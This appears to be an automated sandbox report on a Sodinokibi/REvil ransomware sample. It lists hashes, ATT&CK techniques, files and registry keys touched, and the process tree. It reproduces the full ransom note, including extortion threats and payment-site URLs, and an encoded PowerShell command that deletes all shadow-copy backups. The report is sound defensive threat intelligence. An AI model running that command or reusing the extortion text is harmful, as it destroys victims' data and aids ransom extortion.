sodinokibi | 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708

General

Target

adb.vbs.exe
Size

116KB
MD5

b86ad4241b01376b3924a380f6f4c934
SHA1

10682d08a18715a79ee23b58fdb6ee44c4e28c61
SHA256

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708
SHA512

54fd19cfc37255e7ddf3456d1a2989558522cf58e5eee6ca916c19542921fe3ba4e7a431a35e0e1edbfc37c5651d392e7c3c54eb408754c0488021b16fdf92c9
SSDEEP

1536:aTZINbRh0SKws6KTUkmHlntMvfWhbpfCqeICS4AKvQIFlswOmZFS0cnwpIGmQwB:FRix3PWhNlOVFmw5q0cifmQ

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\5096oaz7g-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 5096oaz7g. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] WE ARE READY TO PUBLISH UR DATA TO PUBLIC ACCESS IF YOU NOT CONTACT US (USE TOR BROWSER TO VIEW) http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/125?s=7ee0235fc7f67403393ad971dea5809e [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F9647201020B5202 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/F9647201020B5202 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: Ck1WfWwYd2Jo7SjX2GkCBc/PlfBOZRwskJFd1NHpIBo3c28cNWsVrIYnf+IgeCqF iPWs5SFOwg8iphU80wIfYnFDehXJnOyN56Hd7eoliU1UYdMK14rFuAaoilOmNi3N +gSz6BdD5CcKjkQkcM+qX7vE6BhxE6Ltznj3D7UtPkVaifACUpgCZz44K0p6c8OI P4ZtVOeMOGhCeTL4NPJUe6ucjFQMoXdpZtuA4Wn04ZLOZy6vnPTDmQknj9QMP9uG 4jMGurnfFVh9VLyD7zLL/jmOH8sUZKS4M5rj5Gh6tFvH5iiIEuOiIxrkjx164/Ty BoKYt1eewTxO+fh92Jh2BJdXN/a91Vlv7hIBwI2DKdNVLVefDzl7OKObFULfRvMj wpUPoUKLW/DYT6kUdDCMLor8smWDz961YoH90/jefXWs/6fcXQ7jDa/4BoS3WjBT 6xHYQezq5IVicaGV1LRW7VzEKOqx24FcRGhOgIy3lUthndGuC02nmKsAg2utBUjC CGjNdsDHClM6MD/QEicOJsK66VWoh2fqRyqUSoGJVP9kRkm3jOI7eFAHZMTxf971 k7GHDOJ5RuawpQXI4Ao+pggRbNDbj4cklmnuW+OeEQzYLP0o3nRcVp36MQILvneZ 3rYDb5IM+Zy899yxea7rXyV84xunn1GP6olBjN4nwP5Ot6r+RNQ15ptYtYzOJztg TJePtN0whz2ZWtkgn6XlUfiBn8mGSsud6eTjN30twvYap78p8AI5+FtR2ft9XFzv zfBQrgmfAXy0qz5D9rBxE7WnLalLB42I6v2yGs6p9D1/jqQ8XldgCG3+u93OgmTl lyUA/QEEySps9dV63QsBqbCMuWYYidEWj1ibI7eFpbBMTTIHu8rZqhkLR4qLxFHa 6+2RTOtgwOFz6l58diqFomg/oFfyGsZCB0xaHjn9FgWk6R/eb1NbBPS0WlT4Fnmh lly4AHhKZ5nOMfkV7kzBvcbZ3pMpYX/pnWRoLYW9djot1oI4EkcXXflosWC0ka7M /aNej+Blen+aVFn3etotUDImF3kmPtrUTyN9UG3uqIZwY3Az8R1rzCxK5gFEaL8t wYqrdbpysnxloAYY8ABcMg+ppQj2MiBGeXXlTEsE7y6WQqVHuNb4HZjwZsRmMm/i HDnZu3ZN0Ci482QpwpUkfR1jKZdoyoUw43AqvImIUOtIJDYECIGhpVoz6Jjg4lSD tC0wPALXKXZ8smcoqQprrb/Sz0V79XEAaMLL/K3IxtqJfCYKsiQfA5vY1+WY5ANh TlY35UPwP4tlZNHyHFzW3nFAQ5M7pRMzQf0g0gktMYw5xLzFpc1FUsBX505+FrWW tKgBpu4tzpFA9ri9lNyUj+8/scTWsaEzVRxGs9YiOxW/39NPhb1BMhHqSA4= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F9647201020B5202

http://decryptor.cc/F9647201020B5202

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

adb.vbs.exe

description	ioc	process
File opened (read-only)	\??\R:	adb.vbs.exe
File opened (read-only)	\??\U:	adb.vbs.exe
File opened (read-only)	\??\W:	adb.vbs.exe
File opened (read-only)	\??\Y:	adb.vbs.exe
File opened (read-only)	\??\A:	adb.vbs.exe
File opened (read-only)	\??\H:	adb.vbs.exe
File opened (read-only)	\??\I:	adb.vbs.exe
File opened (read-only)	\??\Q:	adb.vbs.exe
File opened (read-only)	\??\P:	adb.vbs.exe
File opened (read-only)	\??\S:	adb.vbs.exe
File opened (read-only)	\??\T:	adb.vbs.exe
File opened (read-only)	\??\X:	adb.vbs.exe
File opened (read-only)	\??\G:	adb.vbs.exe
File opened (read-only)	\??\K:	adb.vbs.exe
File opened (read-only)	\??\N:	adb.vbs.exe
File opened (read-only)	\??\O:	adb.vbs.exe
File opened (read-only)	\??\Z:	adb.vbs.exe
File opened (read-only)	\??\D:	adb.vbs.exe
File opened (read-only)	\??\F:	adb.vbs.exe
File opened (read-only)	\??\J:	adb.vbs.exe
File opened (read-only)	\??\V:	adb.vbs.exe
File opened (read-only)	\??\B:	adb.vbs.exe
File opened (read-only)	\??\E:	adb.vbs.exe
File opened (read-only)	\??\L:	adb.vbs.exe
File opened (read-only)	\??\M:	adb.vbs.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

adb.vbs.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\53127j8dy.bmp"	adb.vbs.exe

Drops file in Program Files directory 33 IoCs

Processes:

adb.vbs.exe

description	ioc	process
File opened for modification	\??\c:\program files\BackupSend.mid	adb.vbs.exe
File opened for modification	\??\c:\program files\EnableConnect.xlsb	adb.vbs.exe
File opened for modification	\??\c:\program files\MergeExpand.vdw	adb.vbs.exe
File opened for modification	\??\c:\program files\ProtectConvertFrom.fon	adb.vbs.exe
File opened for modification	\??\c:\program files\StopCopy.ADTS	adb.vbs.exe
File opened for modification	\??\c:\program files\ReadDisable.css	adb.vbs.exe
File opened for modification	\??\c:\program files\TraceUnblock.vst	adb.vbs.exe
File created	\??\c:\program files\5096oaz7g-readme.txt	adb.vbs.exe
File opened for modification	\??\c:\program files\GroupPop.eps	adb.vbs.exe
File opened for modification	\??\c:\program files\ResolveResize.pcx	adb.vbs.exe
File opened for modification	\??\c:\program files\SubmitUnblock.shtml	adb.vbs.exe
File created	\??\c:\program files (x86)\5096oaz7g-readme.txt	adb.vbs.exe
File opened for modification	\??\c:\program files\UnlockRead.xla	adb.vbs.exe
File opened for modification	\??\c:\program files\ConnectDisconnect.bmp	adb.vbs.exe
File opened for modification	\??\c:\program files\DenyCompress.emz	adb.vbs.exe
File opened for modification	\??\c:\program files\RequestTrace.pot	adb.vbs.exe
File opened for modification	\??\c:\program files\SuspendConnect.zip	adb.vbs.exe
File opened for modification	\??\c:\program files\UnlockGet.clr	adb.vbs.exe
File opened for modification	\??\c:\program files\ComparePing.txt	adb.vbs.exe
File opened for modification	\??\c:\program files\EnterReset.csv	adb.vbs.exe
File opened for modification	\??\c:\program files\ExpandDisconnect.mp2v	adb.vbs.exe
File opened for modification	\??\c:\program files\JoinBackup.xps	adb.vbs.exe
File opened for modification	\??\c:\program files\SaveRemove.snd	adb.vbs.exe
File opened for modification	\??\c:\program files\ConnectWatch.TS	adb.vbs.exe
File opened for modification	\??\c:\program files\ConvertToSend.dotx	adb.vbs.exe
File opened for modification	\??\c:\program files\GrantAdd.ods	adb.vbs.exe
File opened for modification	\??\c:\program files\GroupRedo.mpeg	adb.vbs.exe
File opened for modification	\??\c:\program files\InstallGet.ps1xml	adb.vbs.exe
File opened for modification	\??\c:\program files\MeasureConvertFrom.gif	adb.vbs.exe
File opened for modification	\??\c:\program files\NewReceive.rle	adb.vbs.exe
File opened for modification	\??\c:\program files\AssertResume.vbe	adb.vbs.exe
File opened for modification	\??\c:\program files\CompleteUninstall.TTS	adb.vbs.exe
File opened for modification	\??\c:\program files\UnlockMeasure.dot	adb.vbs.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

adb.vbs.exepowershell.exe

pid process

3180 adb.vbs.exe
3180 adb.vbs.exe
4492 powershell.exe
4492 powershell.exe

pid	process
3180	adb.vbs.exe
3180	adb.vbs.exe
4492	powershell.exe
4492	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

adb.vbs.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	3180	adb.vbs.exe
Token: SeDebugPrivilege	4492	powershell.exe
Token: SeBackupPrivilege	4192	vssvc.exe
Token: SeRestorePrivilege	4192	vssvc.exe
Token: SeAuditPrivilege	4192	vssvc.exe
Token: SeTakeOwnershipPrivilege	3180	adb.vbs.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

adb.vbs.exe

description	pid	process	target process
PID 3180 wrote to memory of 4492	3180	adb.vbs.exe	powershell.exe
PID 3180 wrote to memory of 4492	3180	adb.vbs.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\adb.vbs.exe
"C:\Users\Admin\AppData\Local\Temp\adb.vbs.exe"
1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4492

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3916

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Recovery\5096oaz7g-readme.txt
Filesize
7KB

MD5
ee695905298749c0812d45485a57bf91

SHA1
302ad49e2701e3ac8228d3c213d36bfc33244ef7

SHA256
cf3a575f5e8b134dcd19f21b348a15f5fef0c8ba6ce7d96e3e5d961d7a767b61

SHA512
7cd42033eb1c7d3e9a9fc0d349cf8cf2ff4669bb67087491051a0f1ccaf65261700529dfa072ce48c96c463aeceb3d5329e2678e6026da4c32b60ac00087b2bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ubuc1vzl.bto.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4492-142-0x0000026A31820000-0x0000026A31842000-memory.dmp

Filesize
136KB

Download
memory/4492-143-0x00007FF9A92A0000-0x00007FF9A9D61000-memory.dmp

Filesize
10.8MB

Download
memory/4492-145-0x0000026A30E00000-0x0000026A30E10000-memory.dmp

Filesize
64KB

Download
memory/4492-144-0x0000026A30E00000-0x0000026A30E10000-memory.dmp

Filesize
64KB

Download
memory/4492-146-0x0000026A30E00000-0x0000026A30E10000-memory.dmp

Filesize
64KB

Download
memory/4492-149-0x00007FF9A92A0000-0x00007FF9A9D61000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads